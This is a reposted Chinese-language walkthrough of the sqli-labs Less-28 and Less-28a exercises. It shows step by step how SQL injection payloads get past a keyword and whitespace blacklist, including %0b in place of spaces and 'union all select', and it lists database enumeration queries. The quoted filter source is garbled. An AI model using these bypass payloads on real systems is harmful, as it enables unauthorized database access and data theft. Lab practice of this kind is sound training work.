- 转自不知名大佬的笔记
----------------------------------less-28------------------------------------
url:
http://192.168.137.138/sqli-labs-master/Less-28/
按照提示添加id值
先用 ' 和 " 测试,返回页面会不会报错
单引号报错:
但是没有错误信息,目前只知道 闭合条件 中 含有 '
过滤字符测试:
发现 空格 /**/ # -- 都被过滤了
测试闭合条件:
1'and'1 和 2'and'1 返回页面相同
改变闭合条件:')
1')and('1 和 2')and('1 返回页面不相同
说明 闭合条件为 : ('')
后台语句应该是这样:
select username,password from table where id=('input')
构造注入语句:
(空格和注释符都被过滤了,要特殊对待)
0')union%0aselect%0a1,2,3,4and('1
说明:0')union select 1,2,3,4后面的and('1 是用来当做注释符的
效果如下:
返回页面错误
页面hint:
Hint: Your Input is Filtered with following result: 0') 1,2,3,4and('1
说明 union select 被过滤了
现在用 less-27 的办法来试试
--先改变大小写:
0')UnIon%0aSeleCt%0a1,2,3,4and('1
页面hint:
Hint: Your Input is Filtered with following result: 0') 1,2,3,4and('1
还是被过滤了
--再来 重叠:
0')UnIununionionon%0aSeselselectectleCt%0a1,2,3,4and('1
页面hint:
Hint: Your Input is Filtered with following result: 00')UnIununionionon SeselselectectleCt 1,2,3,4and('1
过滤倒是没过滤,但是重叠了多少次,就返回了多少次,那么说明,在过滤的过程中
可能 union select 是一起过滤的,也就是说,他们在一个 正则表达式中
也就是说,如果只写union 或者 select 的话,应该是不会被过滤的
测试一下
0')Union%0a1,2,3,4and('1
页面hint:
Hint: Your Input is Filtered with following result: 0')union 1,2,3,4and('1
0')select%0a1,2,3,4and('1
页面hint:
Hint: Your Input is Filtered with following result: 0')select 1,2,3,4and('1
看到了吧,单独的union和select是不会被注释的,而在less-27中总结的方法,是针对于单独对union和select进行过滤的方式
那么这种情况该如何绕过呢?
先去后台看看
-----------------------------------源码部分----------------------------------
过滤部分:
function blacklist(id= preg_replace('/[/*]/',"", id= preg_replace('/[--]/',"", id= preg_replace('/[#]/',"", id= preg_replace('/[ +]/',"", id= preg_replace('/select/m',"", id= preg_replace('/[ +]/',"", id= preg_replace('/union\s+select/i',"", id;
}
其中
id)
在同一个正则表达式中
\s+表示,union和select之间,任意的空字符
对于这一类型,有两个办法
------1.union select 中间的 空格用不同的 空字符去代换
之前测试过 %0a 不行
那么 %0b 呢?
0')union%0bselect%0a1,2,3%0aand('1
返回页面报出了 字段位置
页面hint:
Hint: Your Input is Filtered with following result: 0')union�select1,2,3 and('1
------2.union all select 和 union select 的效果一样!!!!!!(替代)
构造语句:
0')union%0aall%0aselect%0a1,2,3%0aand('1
返回页面报出了 字段位置
页面hint:
Hint: Your Input is Filtered with following result: 0')union all select 1,2,3 and('1
因为 union 和 select 中间 有个 all,所以正则表达式 并不能匹配到union select
后面的事情,轻车熟路
*************************************分割线**********************************
-------------------------------------less-28a--------------------------------
部分源码:
过滤部分:
function blacklist(id= preg_replace('/[/*]/',"", id= preg_replace('/[--]/',"", id= preg_replace('/[#]/',"", id= preg_replace('/[ +]/',"", id= preg_replace('/select/m',"", id= preg_replace('/[ +]/',"", id= preg_replace('/union\s+select/i',"", id;
}
可见,只是剩下了最后一个 过滤条件,所以相对于 less-28,less-28a更简单了
笔记里就不做详细记录了,自己动手
在实验过程中,发现查不出数据库名(当前数据库可以查)
看是可以查出表名和列名
语句是这样的:
0') union all select 1,group_concat(schema_name),3 from information_schema.schemata and('1
返回页面一直是错误的
页面hint:
Hint: Your Input is Filtered with following result: 0')union all select 1,schema_name,3 from information_schema.schemata and('1
看出并没有信息被过滤
拿到 less-1 里去测试了一下,发现也暴不出来
语句是这样:
0' union select 1,group_concat(schema_name),3 from information_schema.schemata and'1
这两句,除了 闭合 条件不一样,其他都是相同的
而且 , 都用了 and(闭合条件)1 去替换 注释符
在less-1中 如果 把 and'1 换成 --+的话,就能正常爆出信息
应该是 后台 sql 语句中 最后一个 闭合条件 后 还有 语句,如果直接用
and(闭合条件)1 去 替代 注释符的话,那后面的 语句也执行了,会影响结果
在less-1中的报错(用 and'1 替换 注释符时):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and'1' LIMIT 0,1' at line 1
这也就是说 , 1'or'1 和 1'and'1 并不能完全替代注释符
网友评论